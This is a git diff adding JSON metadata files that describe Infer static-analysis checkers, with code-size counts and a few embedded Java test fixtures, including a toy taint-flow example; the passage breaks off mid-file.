Raw Data/Static Analysis Tool/infer/Rule formation/checkers/sledge/LlvmSledgeFrontendStubs.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/LineMap.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/Textual.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualBasicVerification.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualDecls.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualLexer.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualParser.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualSil.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualTransform.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualTypeVerification.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/textual/TextualVerification.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/topl/DataFlowQuery.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/topl/ToplAstOps.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/topl/ToplAutomaton.json delete mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/FragmentRetainsView.json delete mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/LithoRequiredProps.json delete mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/LoopHoisting.json delete mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/RacerD.json delete mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/ResourceLeakLabExercise.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/groups/IR.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/groups/absint.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/groups/atd.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/groups/backend.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/groups/base.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/groups/clang.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/groups/erlang.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/groups/inferppx-tests.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/groups/inferppx.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/groups/istd.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/groups/java.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/groups/labs.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/groups/llvm.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/groups/opensource.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/groups/python.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/groups/scripts.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/groups/sledge.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/groups/textual.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/groups/unit.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-c.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-c_cpp.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-cpp.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-dotnet.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-erlang.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-hack.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-java.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-kotlin.json delete mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-modules.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-objc.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-objcpp.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-python.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-sil.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-swift.json diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/AnalysisGlobalState.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/AnalysisGlobalState.json new file mode 100644 index 0000000..2e32012 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/AnalysisGlobalState.json @@ -0,0 +1,13 @@ +{ + "name": "AnalysisGlobalState", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 40, + "branches": 4, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Annot.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Annot.json new file mode 100644 index 0000000..a5d9e7f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Annot.json @@ -0,0 +1,13 @@ +{ + "name": "Annot", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 91, + "branches": 6, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Attributes.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Attributes.json new file mode 100644 index 0000000..457993d --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Attributes.json @@ -0,0 +1,13 @@ +{ + "name": "Attributes", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 75, + "branches": 6, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/BUILTINS.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/BUILTINS.json new file mode 100644 index 0000000..1511560 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/BUILTINS.json @@ -0,0 +1,13 @@ +{ + "name": "BUILTINS", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 73, + "branches": 0, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Binop.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Binop.json new file mode 100644 index 0000000..cc461bc --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Binop.json @@ -0,0 +1,13 @@ +{ + "name": "Binop", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 98, + "branches": 3, + "apis": 22, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/BuiltinDecl.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/BuiltinDecl.json new file mode 100644 index 0000000..7bcdcf0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/BuiltinDecl.json @@ -0,0 +1,13 @@ +{ + "name": "BuiltinDecl", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 138, + "branches": 0, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/CSharpClassName.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/CSharpClassName.json new file mode 100644 index 0000000..fc8799f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/CSharpClassName.json @@ -0,0 +1,13 @@ +{ + "name": "CSharpClassName", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 36, + "branches": 6, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/CallFlags.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/CallFlags.json new file mode 100644 index 0000000..2105cf8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/CallFlags.json @@ -0,0 +1,13 @@ +{ + "name": "CallFlags", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 26, + "branches": 6, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/CapturedVar.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/CapturedVar.json new file mode 100644 index 0000000..e779995 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/CapturedVar.json @@ -0,0 +1,13 @@ +{ + "name": "CapturedVar", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 33, + "branches": 2, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Cfg.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Cfg.json new file mode 100644 index 0000000..63af260 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Cfg.json @@ -0,0 +1,13 @@ +{ + "name": "Cfg", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 51, + "branches": 3, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/ClangMethodKind.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/ClangMethodKind.json new file mode 100644 index 0000000..ea19e36 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/ClangMethodKind.json @@ -0,0 +1,13 @@ +{ + "name": "ClangMethodKind", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 22, + "branches": 1, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Const.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Const.json new file mode 100644 index 0000000..8005115 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Const.json @@ -0,0 +1,13 @@ +{ + "name": "Const", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 41, + "branches": 6, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Dependencies.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Dependencies.json new file mode 100644 index 0000000..dea84b8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Dependencies.json @@ -0,0 +1,38 @@ +{ + "name": "Dependencies", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 156, + "branches": 17, + "apis": 29, + "test": [ + { + "testname": "Framework.java", + "testlanguage": "java", + "expected-problems": 10, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\npackage lib;\n\npublic class Framework {\n\n public static Object returnNull() {\n return null;\n }\n\n private static Str source() {\n return Str.ATTACKER_CONTROLLED;\n }\n\n public static Str getStr() {\n return source();\n }\n\n public static Str readFile(Str s) {\n try (MyStream inputStream = new MyStream(s)) {\n return inputStream.readContent();\n }\n }\n}\n" + }, + { + "testname": "MyStream.java", + "testlanguage": "java", + "expected-problems": 6, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\npackage lib;\n\nimport java.io.Closeable;\n\npublic class MyStream implements Closeable {\n\n Str file;\n\n public MyStream(Str s) {\n this.file = s;\n }\n\n public Str readContent() {\n return this.file;\n }\n\n public void close() {\n this.file = null;\n }\n}\n" + }, + { + "testname": "Str.java", + "testlanguage": "java", + "expected-problems": 4, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\npackage lib;\n\npublic class Str {\n\n public static Str ATTACKER_CONTROLLED = new Str();\n}\n" + }, + { + "testname": "Application.java", + "testlanguage": "java", + "expected-problems": 7, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\npackage my;\n\nimport lib.Framework;\nimport lib.Str;\n\npublic class Application {\n\n int indirectNPE() {\n return Framework.returnNull().hashCode();\n }\n\n Str source() {\n return Str.ATTACKER_CONTROLLED;\n }\n\n Str propagate(Str s) {\n return s;\n }\n\n void sink(Str s) {\n // do critical thing with s\n }\n\n void indirectSource() {\n sink(propagate(Framework.getStr()));\n }\n\n /* Note: Unfortunately, we comment out these functions since their test results are flaky\n depending on Java versions; sometimes they report on the two tainted expressions, `s` and\n `source()`, but sometimes on only one of them, `s`.\n\n void indirectSink() {\n Str s = source();\n Framework.readFile(s);\n }\n\n void indirectTaintFlow() {\n Str s = Framework.getStr();\n Framework.readFile(s);\n } */\n}\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/DotCfg.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/DotCfg.json new file mode 100644 index 0000000..25ff939 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/DotCfg.json @@ -0,0 +1,13 @@ +{ + "name": "DotCfg", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 126, + "branches": 11, + "apis": 28, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/ErlangTypeName.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/ErlangTypeName.json new file mode 100644 index 0000000..941e9e2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/ErlangTypeName.json @@ -0,0 +1,13 @@ +{ + "name": "ErlangTypeName", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 130, + "branches": 6, + "apis": 28, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Exp.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Exp.json new file mode 100644 index 0000000..2245669 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Exp.json @@ -0,0 +1,13 @@ +{ + "name": "Exp", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 235, + "branches": 34, + "apis": 115, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Fieldname.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Fieldname.json new file mode 100644 index 0000000..b58b601 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Fieldname.json @@ -0,0 +1,13 @@ +{ + "name": "Fieldname", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 120, + "branches": 12, + "apis": 17, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Filtering.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Filtering.json new file mode 100644 index 0000000..45d9852 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Filtering.json @@ -0,0 +1,13 @@ +{ + "name": "Filtering", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 40, + "branches": 4, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/FuncArg.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/FuncArg.json new file mode 100644 index 0000000..9b8cddc --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/FuncArg.json @@ -0,0 +1,13 @@ +{ + "name": "FuncArg", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 22, + "branches": 2, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/HackClassName.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/HackClassName.json new file mode 100644 index 0000000..f701d3e --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/HackClassName.json @@ -0,0 +1,13 @@ +{ + "name": "HackClassName", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 48, + "branches": 4, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Ident.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Ident.json new file mode 100644 index 0000000..eda6b29 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Ident.json @@ -0,0 +1,13 @@ +{ + "name": "Ident", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 146, + "branches": 11, + "apis": 46, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Instrs.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Instrs.json new file mode 100644 index 0000000..09d2321 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Instrs.json @@ -0,0 +1,13 @@ +{ + "name": "Instrs", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 190, + "branches": 17, + "apis": 28, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/IntLit.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/IntLit.json new file mode 100644 index 0000000..fd33d58 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/IntLit.json @@ -0,0 +1,13 @@ +{ + "name": "IntLit", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 101, + "branches": 17, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/IntegerWidths.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/IntegerWidths.json new file mode 100644 index 0000000..dbbd143 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/IntegerWidths.json @@ -0,0 +1,13 @@ +{ + "name": "IntegerWidths", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 62, + "branches": 4, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Io_infer.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Io_infer.json new file mode 100644 index 0000000..c8fd25a --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Io_infer.json @@ -0,0 +1,13 @@ +{ + "name": "Io_infer", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 197, + "branches": 18, + "apis": 46, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/JavaClassName.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/JavaClassName.json new file mode 100644 index 0000000..f028da6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/JavaClassName.json @@ -0,0 +1,13 @@ +{ + "name": "JavaClassName", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 78, + "branches": 10, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Mangled.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Mangled.json new file mode 100644 index 0000000..86fb518 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Mangled.json @@ -0,0 +1,13 @@ +{ + "name": "Mangled", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 36, + "branches": 6, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/MissingDependencies.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/MissingDependencies.json new file mode 100644 index 0000000..9ab1f07 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/MissingDependencies.json @@ -0,0 +1,13 @@ +{ + "name": "MissingDependencies", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 63, + "branches": 5, + "apis": 24, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/ObjCDispatchModels.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/ObjCDispatchModels.json new file mode 100644 index 0000000..0453f24 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/ObjCDispatchModels.json @@ -0,0 +1,13 @@ +{ + "name": "ObjCDispatchModels", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 19, + "branches": 2, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/ProcAttributes.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/ProcAttributes.json new file mode 100644 index 0000000..40ce2cd --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/ProcAttributes.json @@ -0,0 +1,13 @@ +{ + "name": "ProcAttributes", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 194, + "branches": 38, + "apis": 99, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Procdesc.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Procdesc.json new file mode 100644 index 0000000..cdc47cd --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Procdesc.json @@ -0,0 +1,13 @@ +{ + "name": "Procdesc", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 854, + "branches": 48, + "apis": 166, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Procname.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Procname.json new file mode 100644 index 0000000..94934bf --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Procname.json @@ -0,0 +1,13 @@ +{ + "name": "Procname", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 1076, + "branches": 133, + "apis": 137, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Pvar.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Pvar.json new file mode 100644 index 0000000..b9136e1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Pvar.json @@ -0,0 +1,13 @@ +{ + "name": "Pvar", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 236, + "branches": 48, + "apis": 48, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/PythonClassName.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/PythonClassName.json new file mode 100644 index 0000000..aebca7f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/PythonClassName.json @@ -0,0 +1,13 @@ +{ + "name": "PythonClassName", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 99, + "branches": 9, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/PythonProcname.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/PythonProcname.json new file mode 100644 index 0000000..544c45c --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/PythonProcname.json @@ -0,0 +1,13 @@ +{ + "name": "PythonProcname", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 457, + "branches": 5, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/QualifiedCppName.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/QualifiedCppName.json new file mode 100644 index 0000000..dd2b699 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/QualifiedCppName.json @@ -0,0 +1,13 @@ +{ + "name": "QualifiedCppName", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 90, + "branches": 15, + "apis": 18, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Sil.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Sil.json new file mode 100644 index 0000000..340c7a7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Sil.json @@ -0,0 +1,50 @@ +{ + "name": "Sil", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 229, + "branches": 18, + "apis": 78, + "test": [ + { + "testname": "Array.java", + "testlanguage": "java", + "expected-problems": 7, + "code": "// Copyright (c) Facebook, Inc. and its affiliates.\n//\n// This source code is licensed under the MIT license found in the\n// LICENSE file in the root directory of this source tree.\n\nclass Array {\n\n void main(int n) {\n int[] t1 = new int[n];\n int[][] t2 = new int[n][n];\n }\n\n}\n" + }, + { + "testname": "Basic.java", + "testlanguage": "java", + "expected-problems": 5, + "code": "//\n// Copyright (c) Facebook, Inc. and its affiliates.\n//\n// This source code is licensed under the MIT license found in the\n// LICENSE file in the root directory of this source tree.\n//\n\nclass Basic {\n\n public static int return_int(int n) {\n return n;\n }\n\n}\n" + }, + { + "testname": "Cast.java", + "testlanguage": "java", + "expected-problems": 4, + "code": "//\n// Copyright (c) Facebook, Inc. and its affiliates.\n//\n// This source code is licensed under the MIT license found in the\n// LICENSE file in the root directory of this source tree.\n//\n\nclass Cast {\n\n static int main(long l) {\n return (int) l;\n }\n\n}\n" + }, + { + "testname": "Factorial.java", + "testlanguage": "java", + "expected-problems": 10, + "code": "//\n// Copyright (c) Facebook, Inc. and its affiliates.\n//\n// This source code is licensed under the MIT license found in the\n// LICENSE file in the root directory of this source tree.\n//\n\nclass Factorial{\n\n public static void main(String args[]){\n int n=5;\n System.out.println(\"Factorial of \"+n+\" is: \"+fact(n));\n }\n\n private static int fact(int n) {\n int i,fact = 1;\n for(i=1;i<=n;i++){\n fact=fact*i;\n };\n return fact;\n }\n}\n" + }, + { + "testname": "List.java", + "testlanguage": "java", + "expected-problems": 8, + "code": "//\n// Copyright (c) Facebook, Inc. and its affiliates.\n//\n// This source code is licensed under the MIT license found in the\n// LICENSE file in the root directory of this source tree.\n//\n\nclass List {\n\n static class Node {\n\tint elt;\n\tNode next;\n\tNode(int elt, Node next) {\n\t this.elt = elt;\n\t this.next = next;\n\t}\n }\n\n private Node head;\n\n void push(int elt) {\n\tthis.head = new Node(elt, this.head);\n }\n\n}\n" + }, + { + "testname": "Overloading.java", + "testlanguage": "java", + "expected-problems": 19, + "code": "//\n// Copyright (c) Facebook, Inc. and its affiliates.\n//\n// This source code is licensed under the MIT license found in the\n// LICENSE file in the root directory of this source tree.\n//\n\nclass Overloading{\n int i;\n double f;\n\n public Overloading(int i, double f) {\n this.i = i;\n this.f = f;\n }\n\n public Overloading(int i) {\n this(i, 0.0);\n }\n\n public Overloading(double f) {\n this(0, f);\n }\n\n public Overloading() {\n this(0, 0);\n }\n\n public static Overloading make(int i) {\n return new Overloading(i);\n }\n\n public static Overloading make(double f) {\n return new Overloading(f);\n }\n\n public static Overloading make() {\n return new 